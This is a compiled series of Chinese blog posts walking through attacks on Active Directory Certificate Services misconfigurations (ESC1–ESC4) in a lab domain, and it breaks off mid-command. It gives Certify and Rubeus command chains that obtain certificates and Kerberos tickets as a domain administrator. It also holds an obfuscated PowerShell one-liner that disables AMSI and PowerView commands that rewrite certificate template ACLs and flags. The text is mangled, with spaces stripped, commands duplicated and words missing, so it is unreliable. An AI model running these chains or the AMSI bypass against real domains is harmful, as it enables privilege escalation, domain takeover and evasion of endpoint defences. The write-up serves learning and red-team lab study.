2024针对域证书服务的攻击分析

No.No.PAGE1/8针对域证书服务的攻击分析（1）0x00前言\h关于域证书服务攻击的白皮书出来大半个月了https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf，下文以白皮书代指。作者也在BH21中在NTLMrelayadcsHTTP来获取域控权限的ESC8上。其实白皮书中关于攻击项的技术有19个，我计划边学边写。这个过程中难免出错，望指正。昨天我把域环境搭建好，同时也在其中一台服务器上开启了ADCS服务，打算试试Certify和ForgeCert具。在测试Certify工具的时候，看到github的issue时候就报错了。我的编译环境是：Win102004、VS2019、.NET4，解决比较简单，修改Certify.csproj文件中多处：<LangVersion>0.9</LangVersion><LangVersion>0.9</LangVersion>改为<LangVersion>default</LangVersion>然后在非域用户登录的域内机器上执行的。这儿暂时跳过，我使用域用户登录域内机器，成功执行。瞬间就尴尬了，没有危害。还没开始就结束了。好吧，测试之前我们先来配置危害环境。（ps用“漏洞”一词的地方我全部以“危害”代替，原因大家都清楚）0x02危害环境配置我们对白皮书中攻击项的利用进行分类：窃取类个体权限维持类（类似银票，后文以银证称呼）权限提升类域权限维持类（类似金票，后文以金证称呼）要是测试ESC1，“DomainescalationviaNoIssuanceRequirementsEnrollableClientAuthentication/SmartCardLogonOIDtemplates+CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT”，这句话表达了3个点：我们需要有权限去获取证书能够登记为客户端身份验证或智能卡登录等CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启我们首先创建一个具有以上3个点的证书模板，使用certtmpl.msc板，在常规中修改模板显示名称为ESC1，扩展中的应用程序策略中加入客户端身份认证。在安全中加入DomainUsers具有注册权限：在使用者名称中，选择在请求中提供，也就是开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT。然后使用Certsrv.msc，发布我们创建的危害模板然后刷新刷新，稍等下，使用certify，检测危害。Certify.exefind/vulnerableCertify.exefind/vulnerable危害出现了。0x03ESC1利用利用就很简单了，这儿Certify.exe工具有2个DLL依赖，需要复制到同目录下，还没研究怎么搞成一个exe，不然使用很麻烦，我们暂时先复制DLL依赖测试，后面再完善利用工具。成功获取到证书，注意altname参数，这个需要填的是域管用户名。然后算换pem到pfx，这个需要使用linux或者macos环境中的opnessl，我windows上装有WLS，直接开个WLS挺方便的。opensslopensslpkcs12-incert.pem-keyex-CSP"MicrosoftEnhancedCryptographicProviderv1.0"-export-outcert.pfx最后使用Rubeus获取TGT，我这儿直接就ptt了。这儿需要注意的是要ptt当然是需要管理员权限的。0x04总结这就是ESC1的错误配置利用了，本文没有涉及到原理，只从配置和攻击利用上编写，感官上可能会觉得这样的错误配置在真实环境中多么？这个我也不确定，但据作者白皮书描述多，因为这3人为配置，有些是默认配置，例如web服务器模板里面默认CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启，用户模板里面默认domianusers有注册权限，我上面演示的模板默认在应用策略配置中就有客户端认证配置。因此ESC1这样情况的错误配置应该挺常见的。原理部分我会单独写，因为我目前也是学习阶段，理解的还不够深刻，后面再补上原理分析。No.No.PAGE1/4针对域证书服务的攻击分析（2）-ESC20x00前言在ESC1的分析中我们遇到了一个问题，就是Certify这个工具带了2个DLL，很不方便，刚好今天看twitter看到这么一个项目，\h/CCob/dnMerge，使用NuGet搜dnMerge中，再release生成，就能编译成一个EXE了，很是简单。需要注意的就是只有release生成可以用，debug是不能用的。第二件事是一个题外话，我由于本地网络问题，我环境域控修改了IP，导致域中机器Ping域控域名的时\h候返回。这是我没有按照正规流程修改域控IP，细节看/articles/a7f1f7d57357f9c62042707d09ae5f20.html能乱动，一点小改动就会出问题。这也是为什么域中很多就是默认设置，管理员不敢乱配置的原因吧。回归今天的ESC2，ESC2和ESC1比较相似，大部分前提条件相同，具体条件如下：低权限用户（我们这儿使用普通域用户）可以有权限注册证书管理员审批被关闭签名没有被要求认证低权限用户可以使用危害模板以上都是ESC1的条件，下面一条是和ESC1不同的：证书模板被设置成AnyPurposeEKU或者noEKU而在ESC1中开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT的要求就不需要了。这种情况下我们能干什么呢？先搭建测试环境。0x01危害环境搭建因为和ESC1的变化很小，因此我们直接复制ESC1模板，并改名为ESC2，然后修改应用程序策略为目的然后把ESC1的使用者名称改回默认值。0x02利用测试我们还是使用ESC1的测试步骤，这里就不详细截图了（不记得的同学可以翻看ESC1的测试）而知：由于我们使用者名称改回了默认值，即使在使用certify获取证书的时候使用了altname，并设定一个域管理用户名。证书获取不会报错，但是这个证书并不能使用这个域管理登录，系统没有采纳altname的值，而是使用当前用户win101709，如下图，“用ActiveDirectory中信息生成”无法登录域控。0x03总结所以这个ESC2，体感上作用太弱了。根据作者的描述，大致意思是，当使用AnyPurpose的时候，表示攻击者可以获取客户端认证、服务器认证、代码签名等等证书，换句话说就是能获取任何目的的证书。然后作者就没说啥了，我想说这儿应该有个但是，但是TM的没有提权啊。不是说ESC都是提权么？我win101709的用户权限没变啊，虽然由于错误配置，导致我这儿用户可以搞到各种证书，但是用户权限没有变化。从ESC2被作者在06/22/21成ESC2了就留着吧！最后作者补充道，我们可以使用这些证书干其他的事情比如在SAML,ADFS,orIPSec等网络服务上利用。具体在这些服务上能够出现什么利用场景，就需要大家挖掘了，ESC2说就是当前用户拥有了请求各种证书的能力，具体发挥场景还需要自己思考。除AnyPurpose以外，另外一个是noEKUs，就是应用程序策略为空。在为空的时候攻击可以签署一个从属CA证书，在这个从属CA中，攻击者可以任意修改EKU和其他属性，但是这个从属CA证书默认是不被信任的（也就是在NTAuthCertificates的cACertificate中没有这个从属证书），那么就没法登录域控。最后感觉和AnyPurpose一样，就是可以获取各种证书的能力。总体来说这个ESC2有点扯淡。不过后面还有很多内容，说不定，后面有给出从属CA的利用场景。我们回顾下ESC2和ESC1的区别就是使用者名称配置是能够提权的关键。No.No.PAGE1/7针对域证书服务的攻击分析（3）-ESC30x01前言在ESC1的利用的时候，好多小伙伴遇到一个错误，借用@Rcoil同学的图。解决方法也在星球，有@Rcoil同学形成的文档。遇到这个错误的同学可以去看下。这个错误主要是因为2016以下的系统不支持这个COM接口，因此需要改下代码。我开始以为是证书服务器16以下会出这个问题，但是我自己搭建12的证书服务器环境发现并没有报错，因此我怀疑是域控在16以下。这算一个遗留问题，具体这个请求是发送到域控还是证书服务器，需要后面分析，先mark下。回归正题，今天时ESC3的分析，ESC3主要滥用的是错误配置了证书申请代理模板（EnrollmentAgentTemplates），方案就出来了，一个普通域用户代替域管理员去申请证书。我们具体看下需要怎样的错误配置：模板（EnrollmentAgentTemplates）允许一个低权限用户（这里我们使用普通域用户）去注册一个代理证书。这个条件和ESC1差不多，不需要设置使用者名称为在请求中提供，以及在扩展序策略的EKU为证书申请代理OID（.4.1.3）。另外一个模板允许一个低权限用户使用代理证书（enrollmentagentcertificate）去代表另外一个用户请求证书，并且这个模板的EKU里配置有允许域认证的EKU。这里有点绕啊！不用担心，我们老规矩，配置环境。0x02危害环境配置这里涉及到2个模板，我们先配置第一个模板，还是在ESC1的基础上配置，安全中的配置不变还是配置了一个domainusers组，来满足低权限访问，这里在实战中要举一反三，以我们当前权限为出发点，如果我们当前有一个其他权限，而刚好有个一个危害模板在这个权限下能够访问，就满足了这个条件，而不是非要domainusers的权限。使用者名称改回默认的用ActiveDirectory中的信息生成还是扩展中的应用程序策略，改为证书申请代理。第二个模板我们还是在ESC1上设置，名称改为ESC3_1，在ESC1的基础上安全不用改，使用者名称恢复默认的用ActiveDirectory中的信息生成。扩展也不用改，保留里面的客户端认证EKU。下面的修改是和以往不同的。这就是ESC3的2个模板了。这需要注意的是，你看我一项一项的配置，感觉修改的很多，大多不是默每个ESC(权限提升)的各个关键配置点，理解里面的各个配置的作用，在实战中才能灵活运用。0x03工具利用Certify.exefind/vulnerableCertify.exefind/vulnerable这是第一个模板，还有第二个模板，你会发现这个命令并没有识别出ESC3_1的时候也要注意了，不要只用上面的命令查看是否有危害，工具不是万能的。我们使用：Certify.exefind/ca:"\redteamlab-WIN2019-CA"Certify.exefind/ca:"\redteamlab-WIN2019-CA"这个命令查看证书服务器上可用的所有模板，其中ESC3_1满足我们利用的第二个条件:首先我们，利用ESC3模板获取一个代理证书：Certify.exerequest/ca:"\redteamlab-WIN2019-CA-1"Certify.exerequest/ca:"\redteamlab-WIN2019-CA-1"/template:ESC3老规矩，pem转pfx，这一步我就略去了，还不会的同学，看前2面文章。然后再利用ESC3_1模板去获取特权证书，其中onbehalfof参数一定要使用NETBIOS名，xiaoaiti、redteamlab\xiaoaiti、\xiaoaiti都不行，一定要是REDTEAMLAB\xiaoaiti。具体原因可能是工具限制，这儿搞了我半天。具体原因先mark下，后面分析。Certify.exerequest/ca:"\redteamlab-WIN2019-CA-1"/template:ESC3_1/onbehalfof:REDTEAMLAB\xiaoaiti/enrollcert:3.pfxCertify.exerequest/ca:"\redteamlab-WIN2019-CA-1"/template:ESC3_1/onbehalfof:REDTEAMLAB\xiaoaiti/enrollcert:3.pfx最后一步，再使用pem转pfx，然后使用Rubeus，搞TGT：Rubeus.exeasktgt/user:REDTEAMLAB\xiaoaiti/certificate:4.pfxRubeus.exeasktgt/user:REDTEAMLAB\xiaoaiti/certificate:4.pfx0x04总结ESC3重点是代理模板的利用，这个过程我搞了好久，因为，为了验证前言中的win2012把域证书链弄错了，搞了很久一直报错，申请到证书一直报KDC_ERR_CLIENT_NOT_TRUSTED在了最后一部，后面发现是我根证书没有部署到域控的问题，导致整个证书链不能被信任。最后手动修复：cdC:\Windows\System32\certsrv\CertEnrollC:\Windows\System32\certsrv\CertEnroll>certutil-dspublish<CNnameofmyca>.crlC:\Windows\System32\certsrv\CertEnroll>cdC:\Windows\System32\certsrv\CertEnrollC:\Windows\System32\certsrv\CertEnroll>certutil-dspublish<CNnameofmyca>.crlC:\Windows\System32\certsrv\CertEnroll>certutil-dspublish<CNnameofmyca>+.crlps:文中证书服务器开始时\redteamlab-WIN2019-CA，后面就成了\redteamlab-WIN2019-CA-1，就是因为我重装了证书服务器。No.No.PAGE2/9针对域证书服务的攻击分析（4）-ESC40x00前言ESC4叫做“VulnerableCertificateTemplateAccessControl”，其实是弱ACL写完ESC1-ESC3，ESC4由于白皮书没有比较详细的过程，并且我本地域环境出了点问题，就搁置到现\h在。但是国庆的时候，看见国外的研究员发布了一篇关于ESC4的文章：/daem0nc0re/Abusing_Weak_ACL_on_Certificate_Templates的权限控制策略，ESC4利用的就是这个权限控制不严格，例如：domainusers组的用户具有写入权限，这样它就可以修改模板的配置为可以满足提权的配置样式，比如修改成ESC1们还是先来搭建测试环境。0x01危害环境搭建我们基于"基本EFS"配置ESC4的危害模板，修改模板名称为ESC4开启CA证书管理程序批准开启授权签名配置DomainUsers有可写权限（危害点其他保持默认好了配置就这么简单，其实，重要的是domainusers具有写入权限。其他的配置只是模仿常见情况。然后记得发布证书模板。0x02利用我还是使用Certify.exe来发现危害：Certify.exefind/vulnerableCertify.exefind/vulnerable我们主要利用的是domainusers具有WriteDacl的权限，来修改模板的配置，让这个模板满足ESC1的要求。模板注册权限我们现在只有模板的写入权限，没有模板的注册权限，我们来给模板加注册权限，我们使用powerview来操作，直接加载powerview可能会被AMSI拦截：这个难不倒我们，读过《bypassamsi的前世今生系列》的同学应该秒过，我们直接用一句话关闭AMSI：$a="5492868772801748688168747280728187173688878280688776828"$b="1173680867656877679866880867644817687416876797271"$a="5492868772801748688168747280728187173688878280688776828"$b="1173680867656877679866880867644817687416876797271"$c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace""$d=[Ref].Assembly.GetType($c)$e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace""$f=$d.GetField($e,'NonPublic,Static')$f.SetValue($null,$true)加注册权限：Add-DomainObjectAclAdd-DomainObjectAcl-TargetIdentityESC4-PrincipalIdentity"DomainUsers"-RightsGUID"0e10c968-78fb-11d2-90d4-00c04f79dc55"-TargetSearchBase"LDAP://CN=Configuration,DC=redteamlab,DC=com"-Verbose我们使用Certify.exe来验证下是否有注册权限：禁用CA证书管理程序批准虽然这个是我们人工配置开启的，是为了模拟常见情况，我们这会儿把这个配置关闭。同样使用powerview：Set-DomainObject-SearchBase"CN=CertificateTemplates,CN=PublicKeyServices,CN=Services,CN=Configuration,DC=redteamlab,DC=com"Set-DomainObject-SearchBase"CN=CertificateTemplates,CN=PublicKeyServices,CN=Services,CN=Configuration,DC=redteamlab,DC=com"-IdentityESC4-XOR@{'mspki-enrollment-flag'=2}-Verbose和前文中的图对比，选项中已经没有PEND_ALL_REQUESTS选项了。禁用授权签名我们把授权签名数设置为0，就可以达到禁用的效果：Set-DomainObject-SearchBase"CN=CertificateTemplates,CN=PublicKeyServices,CN=Services,CN=Configuration,DC=redteamlab,DC=com"Set-DomainObject-SearchBase"CN=CertificateTemplates,CN=PublicKeyServices,CN=Services,CN=Configuration,DC=redteamlab,DC=com"-IdentityESC4-Set@{'mspki-ra-signature'=0}-Verbose启用在请求中提供使用者名称阅读过ESC1-3的小伙伴应该知道这个配置的重要性，配置了这个配置，我们就可以将任何用户名指定为SAN的值。Set-DomainObject-SearchBase"CN=CertificateTemplates,CN=PublicKeyServices,CN=Services,CN=Configuration,DC=redteamlab,DC=com"Set-DomainObject-SearchBase"CN=CertificateTemplates,CN=PublicKeyServices,CN=Services,CN=Configuration,DC=redteamlab,DC=com"-IdentityESC4-XOR@{'mspki-certificate-name-flag'=1}-Verbose更改应用策略扩展我们给应用策略扩展加上“客户端身份验证”，这样我们才能使用证书登录。Set-DomainObject-SearchBase"CN=Certifica